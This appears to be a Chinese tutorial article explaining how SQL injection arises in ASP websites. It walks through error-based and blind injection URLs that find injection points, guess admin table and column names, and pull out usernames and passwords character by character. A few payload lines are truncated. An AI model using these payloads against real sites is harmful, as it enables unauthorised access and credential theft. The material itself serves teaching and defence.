- 相關(guān)推薦
分析網(wǎng)站腳本漏洞形成的原因
由于編寫網(wǎng)頁程序這個行業(yè)的入門門檻不高,程序員的水平及經(jīng)驗也參差不齊,相當(dāng)大一部分程序員在編寫代碼的時候,沒有對用戶輸入數(shù)據(jù)的合法性進(jìn)行判斷,使應(yīng)用程序存在安全隱患。用戶可以提交一段數(shù)據(jù)庫查詢代碼,根據(jù)程序返回的結(jié)果,獲得某些他想得知的數(shù)據(jù),這就是所謂的SQL Injection,即SQL注入。
相當(dāng)大一部分程序員在編寫代碼的時候,沒有對用戶輸入數(shù)據(jù)的合法性進(jìn)行判斷,使應(yīng)用程序存在安全隱患。我們看一個例子:在本機(jī)建一個基于iis的asp程序http://localhost/test/show.asp?ID=3,將這個網(wǎng)址提交到服務(wù)器后,服務(wù)器將進(jìn)行類似Select * from 表名 where 字段="&ID的查詢(ID即客戶端提交的參數(shù),本例即是3),再將查詢結(jié)果返回給客戶端,如果這里客戶端故意提交這么一個網(wǎng)址:http://localhost/test/show.asp?ID=3 and user>0,這時,服務(wù)器運行Select * from 表名 where 字段=444 and user>0這樣的查詢,當(dāng)然,這個語句是運行不下去的,肯定出錯,錯誤信息如下:
·錯誤類型:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]將 nvarchar 值 ’test’ 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時發(fā)生語法錯誤。
/test/show.asp, 第 34 行
從這個出錯信息中,我們可以獲得以下信息:該站使用MSSQL數(shù)據(jù)庫,用ODBC連接,連接帳號名為:test。所謂SQL注入,就是利用程序員對用戶輸入數(shù)據(jù)的合法性檢測不嚴(yán)或不檢測的特點,故意從客戶端提交特殊的代碼,從而收集程序及服務(wù)器的信息,從而獲取想得到的資料。通常別有用心者的目標(biāo)是獲取網(wǎng)站管理員的帳號和密碼。比如當(dāng)知道網(wǎng)站管理員帳號存在表login中,管理員帳號名為admin 想知道admin的密碼,這里接著從客戶端提交這樣一個網(wǎng)址:
http://localhost/test/show.asp?ID=4 and (Select password fro
m login where user_name=’admin’)>0,返回的出錯信息如下:
·錯誤類型:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]將 varchar 值 ’admin888’ 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時發(fā)生語法錯誤。
/test/show.asp, 第 34 行
現(xiàn)在出來了“admin888”就是管理員的密碼!得到這個密碼,這時您就可以用這個帳號和密碼接管人家的網(wǎng)站了!當(dāng)然我們并不知道帳號就在表login中,而且也不知道管理員名為admin,但這些不容難辦到,我們可以寫個工具進(jìn)行猜解,速度很快就可以找到你想要的東西了。前面是有關(guān)mssql數(shù)據(jù)庫的注入基礎(chǔ),我們再看一看acce數(shù)據(jù)庫的注入基礎(chǔ):首先進(jìn)行瀏覽器的設(shè)置,以保證手工注入時能返回出錯信息。其操作步驟為:右鍵單擊瀏覽器圖標(biāo),選擇
“屬性”,在彈出來的對話框中選擇“高級”選項卡,接著去掉“顯示友好的HTTP錯誤信息”前面的鉤,最后點擊“應(yīng)用”按鈕即可。
對于sql注入得先找到注入點,注入點的判斷方法為:通常打開一個類似http://wwww.xxxx.com/xxx.asp?id=xx的url后加個單引號,變成http://ww.xxx.com/xxx.asp?id=xx’
如果出現(xiàn)錯誤提示,則說明可能存在注入漏洞,再輸入http://www.xxx.com/xxx.asp?id=xx and 1=1如果存在SQL注入漏洞,就可以查詢數(shù)據(jù)庫,1=1是一個恒等式可以忽略,因此會返回一個正常的頁面,此頁面和http://wwww.xxxx.com/xxx.asp?id=xx一樣,這時入侵者便判斷此站有希望被注入。如果返回的是一些錯誤信息,那么一些初級的入侵者可能就會放棄這個站點。入侵者進(jìn)一步向瀏覽器提交如下url: http://www.xxx.com/xxx.asp?id=xx and 1=2,1=2為一個恒不等式,如果該站點支持?jǐn)?shù)據(jù)庫查詢,則大概會返回如下所示的信息:
Microsoft vbscript 編譯器錯誤 錯誤碼率
‘800a03f6’
缺少’End’
/iishelp/common/500-100.asp,行242
ADODB.Field 錯誤 ‘800a0bcd’
一般出現(xiàn)以上信息就可以確定存在sql注入漏洞了。下面我們來看一下sql注入的過程分析:
如: 打開:http://hostlocal/test2/list.asp?id=17在其后面加'為http://hostlocal/test2/list.asp?id=17'
出錯!顯示為:“數(shù)據(jù)庫出錯”。那么接下來我們便進(jìn)行如下操作:
1 猜管理員帳號表。
2 猜相應(yīng)表中的用戶的字段名以及密碼的字段名。
3 猜出用戶名的長度和密碼的長度
4 猜出用戶和密碼
5 找到管理頁面進(jìn)入管理
猜管理員的表:
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin)'//min(id)返回表中ID最小值
返回文章證明,有一個admin的表;如果沒有返回文章,證明出錯不存在admin這個表。
猜用戶的字段名:
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where user='aaa')返回錯誤信息,表示沒有user這個用戶段名
再來!~~~http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where username='aaa')
沒有返回錯誤信息,又沒有返回文章,提示找不到文章。證明在admin中存在username個字段,只是用戶名不是aaa
猜密碼的字段名:
http://hostlocal/test2/list.asp?id=17 and 1=(select min(i
d) from admin where passwd='aaa')返回錯誤信息表示沒有passwd這個密碼字段名。
再來:http://hostlocal/test2/list.asp?id=17 and 1=(select
min(id) from admin where password=aaa')沒有返回錯誤信息,又沒有返回文章,提示找不到文章。證明在admi
n中存在password這個字段,只是密碼不是aaa
猜用戶字段名長度: http://http://m.msguai.com/news/55AE9092A68FE081.html
http://hostlocal/test2/list.asp?id=17 and 1=(select min(
id) from admin where len(username)
>5)
正確
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)
正確
用戶名長度大于5小于10
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)
=7)
呵``` 用戶名長度為7位
猜密碼長度:
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)>5)
正確
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)
正確
密碼長度也是大于5小于10
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)=7)
呵``` 密碼長度為7位
猜用戶名:
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(username,1,1)='a')
用戶名第一個字母是:a
猜用戶名第二位:http://hostlocal/test2/list.asp?id=17 and 1=
(select min(id) from admin where mid(username,2,1)='b')
以此類推!
猜密碼:
猜密碼跟猜用戶名一樣!
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(password,1,1)='a')
猜完后來到管理頁面:
http://hostlocal/test2/admin.asp
【分析網(wǎng)站腳本漏洞形成的原因】相關(guān)文章:
天的含義及詞義形成原因分析05-02
信息安全漏洞原因11-03
空心板梁早期裂縫的形成原因分析與控制05-02
網(wǎng)絡(luò)求職招聘人才網(wǎng)站系統(tǒng)正式版漏洞漏洞預(yù)警10-31
內(nèi)蒙古呼倫湖沙丘帶形成原因分析04-28
地震云形成的分析04-27
嬰兒依戀心理形成原因12-16